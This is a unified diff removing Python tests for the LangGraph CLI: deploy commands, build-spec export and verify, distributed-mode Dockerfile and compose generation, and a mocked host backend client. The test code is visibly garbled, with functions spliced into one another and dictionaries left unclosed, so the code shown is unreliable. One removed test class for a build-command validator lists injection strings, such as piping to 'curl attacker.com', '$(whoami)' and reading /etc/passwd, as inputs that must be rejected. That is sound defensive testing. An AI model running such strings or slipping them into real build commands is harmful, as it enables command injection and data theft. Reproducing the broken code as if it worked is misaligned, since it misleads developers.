spec = json.loads(result.output)
assert spec["schema_version"] == 1
assert spec["kind"] == "langgraph.build_spec"
assert spec["runtime"] == "python"
assert spec["resolved_base_image"] == "langchain/langgraph-api:3.11-wolfi"
assert spec["env"]["LANGSERVE_GRAPHS"] == '{"agent": "agent.py:graph"}'
assert spec["working_dir"] is not None
assert spec["working_dir"].startswith("/deps/")
def test_deploy_list_command_no_results(monkeypatch) -> None:
def test_build_spec_export_command_node_to_file() -> None:
runner = CliRunner()
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def list_deployments(self, name_contains: str = ""):
return {"resources": []}
monkeypatch.setattr(cli_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
],
)
assert result.exit_code == 0, result.output
assert result.output.strip() == "No deployments found."
def test_deploy_delete_command(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def delete_deployment(self, deployment_id: str):
captured["deployment_id"] = deployment_id
return None
monkeypatch.setattr(cli_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
input="y\n",
)
assert result.exit_code == 0, result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"deployment_id": "dep-123",
config_content = {
"node_version": "20",
"image_distro": "wolfi",
"graphs": {"agent": "src/agent.ts:graph"},
"dependencies": ["."],
}
assert (
"Are you sure you want to delete deployment ID dep-123? (Y/n):" in result.output
)
assert result.output.strip().endswith("Deleted deployment dep-123.")
with temporary_config_folder(config_content) as temp_dir:
spec_path = temp_dir / "buildspec.json"
(temp_dir / "src").mkdir(parents=True, exist_ok=True)
(temp_dir / "src" / "agent.ts").touch()
(temp_dir / "package.json").write_text("{}", encoding="utf-8")
result = runner.invoke(
cli,
[
"build-spec",
"export",
"--config",
str(temp_dir / "config.json"),
"--output",
str(spec_path),
],
)
assert result.exit_code == 0, result.output
assert spec_path.exists()
with open(spec_path, encoding="utf-8") as f:
spec = json.load(f)
assert spec["runtime"] == "node"
assert spec["resolved_base_image"] == "langchain/langgraphjs-api:20-wolfi"
assert spec["working_dir"] is not None
assert spec["working_dir"].startswith("/deps/")
def test_deploy_delete_command_cancelled(monkeypatch) -> None:
def test_build_spec_verify_command_in_sync() -> None:
runner = CliRunner()
deleted = False
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def delete_deployment(self, deployment_id: str):
nonlocal deleted
deleted = True
return None
monkeypatch.setattr(cli_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
input="n\n",
)
assert result.exit_code == 1, result.output
assert not deleted
assert "Aborted!" in result.output
def test_deploy_delete_command_force(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def delete_deployment(self, deployment_id: str):
captured["deployment_id"] = deployment_id
return None
monkeypatch.setattr(cli_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--force",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
)
assert result.exit_code == 0, result.output
assert "Are you sure you want to delete deployment ID dep-123?" not in result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"deployment_id": "dep-123",
config_content = {
"python_version": "3.11",
"image_distro": "wolfi",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
assert result.output.strip() == "Deleted deployment dep-123."
with temporary_config_folder(config_content) as temp_dir:
spec_path = temp_dir / "buildspec.json"
(temp_dir / "agent.py").touch()
export_result = runner.invoke(
cli,
[
"build-spec",
"export",
"--config",
str(temp_dir / "config.json"),
"--output",
str(spec_path),
],
)
assert export_result.exit_code == 0, export_result.output
verify_result = runner.invoke(
cli,
[
"build-spec",
"verify",
str(spec_path),
"--config",
str(temp_dir / "config.json"),
],
)
assert verify_result.exit_code == 0, verify_result.output
assert "Build spec is in sync" in verify_result.output
def test_build_spec_verify_command_out_of_sync() -> None:
runner = CliRunner()
config_content = {
"python_version": "3.11",
"image_distro": "wolfi",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
spec_path = temp_dir / "buildspec.json"
(temp_dir / "agent.py").touch()
export_result = runner.invoke(
cli,
[
"build-spec",
"export",
"--config",
str(temp_dir / "config.json"),
"--output",
str(spec_path),
],
)
assert export_result.exit_code == 0, export_result.output
with open(spec_path, encoding="utf-8") as f:
spec = json.load(f)
spec["runtime"] = "node"
with open(spec_path, "w", encoding="utf-8") as f:
json.dump(spec, f, indent=2, sort_keys=True)
verify_result = runner.invoke(
cli,
[
"build-spec",
"verify",
str(spec_path),
"--config",
str(temp_dir / "config.json"),
],
)
assert verify_result.exit_code != 0
assert "Build spec is out of sync" in verify_result.output
def test_dockerfile_command_basic() -> None:
@@ -1055,139 +964,3 @@ def test_prepare_args_and_stdin_with_api_version_and_image() -> None:
# When image is provided, api_version should be ignored for the image
# but the stdin should not contain a build section (since image is provided)
assert "pull_policy: build" not in actual_stdin
def test_dockerfile_command_distributed_mode() -> None:
"""Test the 'dockerfile' command with --engine-runtime-mode distributed."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"distributed",
],
)
assert result.exit_code == 0, result.output
assert "✅ Created: Dockerfile" in result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM langchain/langgraph-executor:3.11" in dockerfile
def test_dockerfile_command_combined_mode() -> None:
"""Test the 'dockerfile' command with --engine-runtime-mode combined_queue_worker."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"combined_queue_worker",
],
)
assert result.exit_code == 0, result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM langchain/langgraph-api:3.11" in dockerfile
def test_dockerfile_command_distributed_with_explicit_base_image() -> None:
"""Test distributed mode with explicit --base-image overrides executor default."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"distributed",
"--base-image",
"my-custom-executor:latest",
],
)
assert result.exit_code == 0, result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM my-custom-executor:latest" in dockerfile
def test_prepare_args_and_stdin_distributed_mode() -> None:
"""Test prepare_args_and_stdin with distributed mode includes all services."""
config_path = pathlib.Path(__file__).parent / "langgraph.json"
config = validate_config(
Config(dependencies=["."], graphs={"agent": "agent.py:graph"})
)
port = 8000
actual_args, actual_stdin = prepare_args_and_stdin(
capabilities=DEFAULT_DOCKER_CAPABILITIES,
config_path=config_path,
config=config,
docker_compose=None,
port=port,
watch=False,
engine_runtime_mode="distributed",
)
# API service should use langgraph-api base image
assert "FROM langchain/langgraph-api:" in actual_stdin
# Distributed mode sets N_JOBS_PER_WORKER=0 on the API service
assert 'N_JOBS_PER_WORKER: "0"' in actual_stdin
# Orchestrator service present
assert "langgraph-orchestrator:" in actual_stdin
# Executor service present with correct base image
assert "langgraph-executor:" in actual_stdin
assert "FROM langchain/langgraph-executor:" in actual_stdin
assert "executor_entrypoint.sh" in actual_stdin
-238
View File
@@ -13,9 +13,7 @@ from langgraph_cli.config import (
_get_pip_cleanup_lines,
config_to_compose,
config_to_docker,
default_base_image,
docker_tag,
has_disallowed_build_command_content,
validate_config,
validate_config_file,
)
@@ -1694,239 +1692,3 @@ def test_config_to_compose_with_api_version():
# Check that the compose file includes the correct FROM line with api_version
assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
def test_default_base_image_combined_mode():
"""Test default_base_image returns langgraph-api for combined_queue_worker mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
}
)
assert default_base_image(config) == "langchain/langgraph-api"
assert (
default_base_image(config, engine_runtime_mode="combined_queue_worker")
== "langchain/langgraph-api"
)
def test_default_base_image_distributed_mode():
"""Test default_base_image returns langgraph-executor for distributed mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
}
)
assert (
default_base_image(config, engine_runtime_mode="distributed")
== "langchain/langgraph-executor"
)
def test_default_base_image_distributed_with_explicit_base():
"""Test default_base_image returns explicit base_image even in distributed mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
"base_image": "my-custom-image:latest",
}
)
assert (
default_base_image(config, engine_runtime_mode="distributed")
== "my-custom-image:latest"
)
def test_default_base_image_nodejs():
"""Test default_base_image returns langgraphjs-api for Node.js config."""
config = validate_config(
{
"node_version": "20",
"graphs": {"agent": "./agent.js:graph"},
}
)
assert default_base_image(config) == "langchain/langgraphjs-api"
def test_config_to_docker_executor_base_image():
"""Test config_to_docker with executor base image for distributed mode."""
graphs = {"agent": "./agent.py:graph"}
config = validate_config({"dependencies": ["."], "graphs": graphs})
actual_docker_stdin, _ = config_to_docker(
PATH_TO_CONFIG,
config,
base_image="langchain/langgraph-executor",
)
assert "FROM langchain/langgraph-executor:3.11" in actual_docker_stdin
assert "LANGSERVE_GRAPHS=" in actual_docker_stdin
def test_config_to_compose_distributed_mode():
"""Test config_to_compose with engine_runtime_mode='distributed'."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# API service uses langchain/langgraph-api base image
assert "FROM langchain/langgraph-api:3.11" in actual_compose_stdin
# Orchestrator service is present
assert "langgraph-orchestrator:" in actual_compose_stdin
assert "EXECUTOR_TARGET: langgraph-executor:8188" in actual_compose_stdin
# Executor service is present with correct base image
assert "langgraph-executor:" in actual_compose_stdin
assert "FROM langchain/langgraph-executor:3.11" in actual_compose_stdin
assert (
'entrypoint: ["sh", "/storage/executor_entrypoint.sh"]' in actual_compose_stdin
)
# Executor has required environment variables
assert "EXECUTOR_GRPC_PORT:" in actual_compose_stdin
assert "ENGINE_GRPC_ADDRESS:" in actual_compose_stdin
assert "LSD_GRPC_SERVER_ADDRESS:" in actual_compose_stdin
assert 'LANGGRAPH_HTTP: ""' in actual_compose_stdin
assert "REDIS_URI: redis://langgraph-redis:6379" in actual_compose_stdin
def test_config_to_compose_distributed_mode_with_env_file():
"""Test config_to_compose distributed mode propagates env_file to all services."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# env_file should appear multiple times: API, orchestrator, executor
env_file_count = actual_compose_stdin.count("env_file: .env")
assert env_file_count == 3, (
f"Expected env_file to appear 3 times (api, orchestrator, executor), "
f"got {env_file_count}"
)
def test_config_to_compose_distributed_mode_generates_two_dockerfiles():
"""Test that distributed mode generates separate Dockerfiles for API and executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# Should contain two different FROM lines
from_lines = [
line.strip()
for line in actual_compose_stdin.splitlines()
if line.strip().startswith("FROM ")
]
assert len(from_lines) == 2
assert "FROM langchain/langgraph-api:3.11" in from_lines[0]
assert "FROM langchain/langgraph-executor:3.11" in from_lines[1]
def test_config_to_compose_combined_mode_no_orchestrator():
"""Test that combined_queue_worker mode does NOT generate orchestrator/executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="combined_queue_worker",
)
assert "langgraph-orchestrator:" not in actual_compose_stdin
assert "langgraph-executor:" not in actual_compose_stdin
def test_config_to_compose_default_mode_no_orchestrator():
"""Test that default mode (no engine_runtime_mode) has no orchestrator/executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
)
assert "langgraph-orchestrator:" not in actual_compose_stdin
assert "langgraph-executor:" not in actual_compose_stdin
def test_config_to_compose_distributed_executor_gets_correct_paths():
"""Test that executor Dockerfile gets correct host paths despite API Dockerfile
mutation. This validates the deep copy fix in config_to_compose -- without it,
the executor's config_to_docker call would see already-mutated container paths
from the API's config_to_docker call, causing FileNotFoundError."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# Both API and executor Dockerfiles should contain valid LANGSERVE_GRAPHS
# referencing container paths (not host paths). If the deep copy was missing,
# the executor Dockerfile would fail to generate or have wrong paths.
from_lines = [
line.strip()
for line in actual_compose_stdin.splitlines()
if "LANGSERVE_GRAPHS=" in line.strip()
]
assert len(from_lines) == 2, (
f"Expected 2 LANGSERVE_GRAPHS lines (api + executor), got {len(from_lines)}"
)
class TestHasDisallowedBuildCommandContent:
"""Tests for has_disallowed_build_command_content."""
@pytest.mark.parametrize(
"char",
['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
)
def test_disallowed_chars_rejected(self, char: str) -> None:
assert has_disallowed_build_command_content(f"npm install{char}some-package")
@pytest.mark.parametrize(
"cmd",
[
"pip install foo | curl attacker.com",
"npm install; curl evil.com",
"pip install $(whoami)",
"pip install ${IFS}evil",
"curl evil.com & disown",
"npm install & curl evil.com",
"pip install > /dev/null",
"cat < /etc/passwd",
],
)
def test_injection_patterns_rejected(self, cmd: str) -> None:
assert has_disallowed_build_command_content(cmd)
def test_single_ampersand_rejected(self) -> None:
assert has_disallowed_build_command_content("npm install & curl evil.com")
def test_double_ampersand_allowed(self) -> None:
assert not has_disallowed_build_command_content("npm install && npm run build")
@pytest.mark.parametrize(
"cmd",
[
"npm install",
"pnpm install --frozen-lockfile",
"next build && next export",
"npm ci && npm run build",
"pip install -e '.[dev]'",
],
)
def test_valid_commands_allowed(self, cmd: str) -> None:
assert not has_disallowed_build_command_content(cmd)
@@ -1,226 +0,0 @@
import base64
import json
import os
import click
import httpx
import pytest
from langgraph_cli.cli import (
_call_host_backend_with_optional_tenant,
_docker_config_for_token,
_normalize_image_name,
_normalize_image_tag,
_parse_env_from_config,
)
from langgraph_cli.host_backend import HostBackendClient, HostBackendError
class TestDockerConfigForToken:
def test_creates_config_json(self):
with _docker_config_for_token("us-docker.pkg.dev", "my-token") as cfg:
config_path = os.path.join(cfg, "config.json")
assert os.path.isfile(config_path)
with open(config_path) as f:
data = json.load(f)
expected_auth = base64.b64encode(b"oauth2accesstoken:my-token").decode()
assert data == {"auths": {"us-docker.pkg.dev": {"auth": expected_auth}}}
def test_tempdir_cleaned_up(self):
with _docker_config_for_token("registry.example.com", "tok") as cfg:
assert os.path.isdir(cfg)
assert not os.path.exists(cfg)
def test_different_registries(self):
with _docker_config_for_token("gcr.io", "token123") as cfg:
with open(os.path.join(cfg, "config.json")) as f:
data = json.load(f)
assert "gcr.io" in data["auths"]
class TestNormalizeImageName:
def test_simple_name(self):
assert _normalize_image_name("myapp") == "myapp"
def test_uppercase_lowered(self):
assert _normalize_image_name("MyApp") == "myapp"
def test_special_chars_replaced(self):
assert _normalize_image_name("my app!@#v2") == "my-app-v2"
def test_dots_and_hyphens_kept(self):
assert _normalize_image_name("my-app.v2") == "my-app.v2"
def test_leading_trailing_stripped(self):
assert _normalize_image_name("--my-app..") == "my-app"
def test_empty_string_returns_app(self):
assert _normalize_image_name("") == "app"
def test_none_returns_app(self):
assert _normalize_image_name(None) == "app"
def test_all_invalid_chars_returns_app(self):
assert _normalize_image_name("!!!") == "app"
class TestNormalizeImageTag:
def test_valid_tag(self):
assert _normalize_image_tag("v1.2.3") == "v1.2.3"
def test_empty_defaults_to_latest(self):
assert _normalize_image_tag("") == "latest"
def test_alphanumeric_and_special(self):
assert _normalize_image_tag("my_tag-1.0") == "my_tag-1.0"
def test_invalid_chars_raises(self):
with pytest.raises(click.UsageError, match="Image tag may only contain"):
_normalize_image_tag("v1.0:bad")
def test_spaces_raises(self):
with pytest.raises(click.UsageError, match="Image tag may only contain"):
_normalize_image_tag("has space")
class TestParseEnvFromConfig:
def test_env_dict(self, tmp_path):
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": {"FOO": "bar", "NUM": 42}}, config_path)
assert result == {"FOO": "bar", "NUM": "42"}
def test_env_string_dotenv_file(self, tmp_path):
env_file = tmp_path / "my.env"
env_file.write_text("KEY1=val1\nKEY2=val2\n")
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": "my.env"}, config_path)
assert result == {"KEY1": "val1", "KEY2": "val2"}
def test_env_missing_falls_back_to_dotenv(self, tmp_path, monkeypatch):
env_file = tmp_path / ".env"
env_file.write_text("DEFAULT_KEY=default_val\n")
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({}, config_path)
assert result == {"DEFAULT_KEY": "default_val"}
def test_env_empty_dict_falls_back_to_dotenv(self, tmp_path, monkeypatch):
"""validate_config defaults env to {}, should still fall back to .env."""
env_file = tmp_path / ".env"
env_file.write_text("MY_KEY=my_val\n")
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": {}}, config_path)
assert result == {"MY_KEY": "my_val"}
def test_env_missing_no_dotenv_returns_empty(self, tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({}, config_path)
assert result == {}
def test_env_dotenv_filters_none_values(self, tmp_path):
# Lines like "KEY=" produce empty string, lines like "KEY" produce None
env_file = tmp_path / "test.env"
env_file.write_text("GOOD=value\nEMPTY=\n")
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": "test.env"}, config_path)
assert "GOOD" in result
assert result["GOOD"] == "value"
# EMPTY= gives empty string, not None, so it should be present
assert result["EMPTY"] == ""
class TestCallHostBackendWithOptionalTenant:
def _make_client(self, handler):
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def _make_eu_client(self, handler):
c = HostBackendClient("https://eu.api.host.langchain.com", "test-key")
c._client = httpx.Client(
base_url="https://eu.api.host.langchain.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def test_success_passes_through(self):
client = self._make_client(lambda req: httpx.Response(200, json={"ok": True}))
result = _call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert result == {"ok": True}
def test_403_not_enabled_gives_actionable_error(self):
detail = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
client = self._make_client(lambda req: httpx.Response(403, text=detail))
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert exc_info.value.status_code == 403
assert "smith.langchain.com" in exc_info.value.message
def test_403_not_enabled_eu_url(self):
detail = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
client = self._make_eu_client(lambda req: httpx.Response(403, text=detail))
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert "eu.smith.langchain.com" in exc_info.value.message
def test_workspace_retry_then_not_enabled_gives_actionable_error(self, monkeypatch):
requires_workspace = '{"detail":"requires workspace specification"}'
not_enabled = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
seen_tenant_ids = []
def handler(req):
seen_tenant_ids.append(req.headers.get("X-Tenant-ID"))
if len(seen_tenant_ids) == 1:
return httpx.Response(403, text=requires_workspace)
if len(seen_tenant_ids) == 2:
return httpx.Response(403, text=not_enabled)
raise AssertionError("unexpected extra request")
monkeypatch.setattr(click, "prompt", lambda _text: "workspace-123")
client = self._make_client(handler)
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert exc_info.value.status_code == 403
assert "smith.langchain.com" in exc_info.value.message
assert seen_tenant_ids == [None, "workspace-123"]
assert client._client.headers["X-Tenant-ID"] == "workspace-123"
def test_other_403_re_raises_original(self):
client = self._make_client(
lambda req: httpx.Response(403, text='{"detail":"some other error"}')
)
with pytest.raises(HostBackendError, match="some other error"):
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
-55
View File
@@ -368,61 +368,6 @@ services:
assert clean_empty_lines(actual_compose_str) == expected_compose_str
def test_compose_distributed_mode_with_custom_db():
"""Test compose with engine_runtime_mode='distributed' adds N_JOBS_PER_WORKER=0."""
port = 8123
custom_postgres_uri = "custom_postgres_uri"
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
postgres_uri=custom_postgres_uri,
engine_runtime_mode="distributed",
)
expected_compose_str = f"""services:
langgraph-redis:
image: redis:6
healthcheck:
test: redis-cli ping
interval: 5s
timeout: 1s
retries: 5
langgraph-api:
ports:
- "{port}:8000"
depends_on:
langgraph-redis:
condition: service_healthy
environment:
REDIS_URI: redis://langgraph-redis:6379
POSTGRES_URI: {custom_postgres_uri}
N_JOBS_PER_WORKER: "0\""""
assert clean_empty_lines(actual_compose_str) == expected_compose_str
def test_compose_distributed_mode_with_default_db():
"""Test compose distributed mode with default DB includes N_JOBS_PER_WORKER=0."""
port = 8123
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
engine_runtime_mode="distributed",
)
assert 'N_JOBS_PER_WORKER: "0"' in actual_compose_str
assert "langgraph-postgres:" in actual_compose_str
assert "langgraph-redis:" in actual_compose_str
def test_compose_combined_mode_has_no_n_jobs():
"""Test compose with default combined_queue_worker mode does NOT set N_JOBS_PER_WORKER."""
port = 8123
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
engine_runtime_mode="combined_queue_worker",
)
assert "N_JOBS_PER_WORKER" not in actual_compose_str
@pytest.mark.parametrize(
"input_str,expected",
[
@@ -1,222 +0,0 @@
import httpx
import pytest
from langgraph_cli.host_backend import HostBackendClient, HostBackendError
@pytest.fixture
def mock_transport():
return httpx.MockTransport(lambda req: httpx.Response(200, json={"ok": True}))
@pytest.fixture
def client(mock_transport):
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=mock_transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def test_constructor_strips_trailing_slash():
c = HostBackendClient("https://api.example.com/", "key")
assert str(c._client.base_url) == "https://api.example.com"
def test_constructor_empty_url_raises():
with pytest.raises(Exception, match="Host backend URL is required"):
HostBackendClient("", "key")
def test_request_sends_headers():
def handler(req: httpx.Request) -> httpx.Response:
assert req.headers["x-api-key"] == "test-key"
assert req.headers["accept"] == "application/json"
return httpx.Response(200, json={"ok": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c._request("GET", "/test")
assert result == {"ok": True}
def test_request_sends_json_payload():
def handler(req: httpx.Request) -> httpx.Response:
assert req.headers["content-type"] == "application/json"
assert req.content == b'{"key":"value"}'
return httpx.Response(200, json={"created": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c._request("POST", "/test", {"key": "value"})
assert result == {"created": True}
def test_request_empty_body_returns_none():
transport = httpx.MockTransport(lambda req: httpx.Response(200, content=b""))
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
assert c._request("DELETE", "/test") is None
def test_request_http_error_raises():
transport = httpx.MockTransport(lambda req: httpx.Response(404, text="not found"))
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="404"):
c._request("GET", "/missing")
def test_request_invalid_json_raises():
transport = httpx.MockTransport(
lambda req: httpx.Response(200, content=b"not json")
)
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="Failed to decode"):
c._request("GET", "/bad-json")
def test_request_transport_error_raises():
def handler(req: httpx.Request) -> httpx.Response:
raise httpx.ConnectError("connection refused")
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="connection refused"):
c._request("GET", "/test")
def test_create_deployment(client):
result = client.create_deployment({"name": "my-deploy"})
assert result == {"ok": True}
def test_get_deployment(client):
result = client.get_deployment("dep-123")
assert result == {"ok": True}
def test_list_deployments(client):
result = client.list_deployments("my-app")
assert result == {"ok": True}
def test_list_deployments_sends_query_params():
def handler(req: httpx.Request) -> httpx.Response:
assert req.url.path == "/v2/deployments"
assert req.url.params["name_contains"] == "my app"
return httpx.Response(200, json={"ok": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c.list_deployments("my app")
assert result == {"ok": True}
def test_delete_deployment(client):
result = client.delete_deployment("dep-123")
assert result == {"ok": True}
def test_request_push_token(client):
result = client.request_push_token("dep-123")
assert result == {"ok": True}
def test_update_deployment(client):
result = client.update_deployment(
"dep-123", "image:latest", secrets=[{"name": "KEY", "value": "val"}]
)
assert result == {"ok": True}
def test_update_deployment_no_secrets(client):
result = client.update_deployment("dep-123", "image:latest")
assert result == {"ok": True}
def test_list_revisions(client):
result = client.list_revisions("dep-123", limit=5)
assert result == {"ok": True}
def test_get_revision(client):
result = client.get_revision("dep-123", "rev-456")
assert result == {"ok": True}
def test_get_build_logs(client):
result = client.get_build_logs("proj-1", "rev-1", {"limit": 10})
assert result == {"ok": True}
def test_get_deploy_logs_all_revisions():
def handler(req: httpx.Request) -> httpx.Response:
assert "/v1/projects/proj-1/deploy_logs" in str(req.url)
assert "/revisions/" not in str(req.url)
return httpx.Response(200, json={"logs": [{"message": "running"}]})
c = HostBackendClient("https://api.example.com", "key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "key", "Accept": "application/json"},
timeout=30,
)
result = c.get_deploy_logs("proj-1", {"limit": 10})
assert result == {"logs": [{"message": "running"}]}
def test_get_deploy_logs_specific_revision():
def handler(req: httpx.Request) -> httpx.Response:
assert "/v1/projects/proj-1/revisions/rev-2/deploy_logs" in str(req.url)
return httpx.Response(200, json={"logs": []})
c = HostBackendClient("https://api.example.com", "key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "key", "Accept": "application/json"},
timeout=30,
)
result = c.get_deploy_logs("proj-1", {"limit": 10}, revision_id="rev-2")
assert result == {"logs": []}
@@ -1,58 +0,0 @@
from langgraph_cli.helpers import format_log_entry, format_timestamp, level_fg
class TestFormatTimestamp:
def test_epoch_ms(self):
assert format_timestamp(1773119644012) == "2026-03-10 05:14:04"
def test_string_passthrough(self):
assert format_timestamp("2026-03-08T00:00:00Z") == "2026-03-08T00:00:00Z"
def test_empty(self):
assert format_timestamp("") == ""
def test_none(self):
assert format_timestamp(None) == ""
class TestFormatLogEntry:
def test_full_entry_epoch(self):
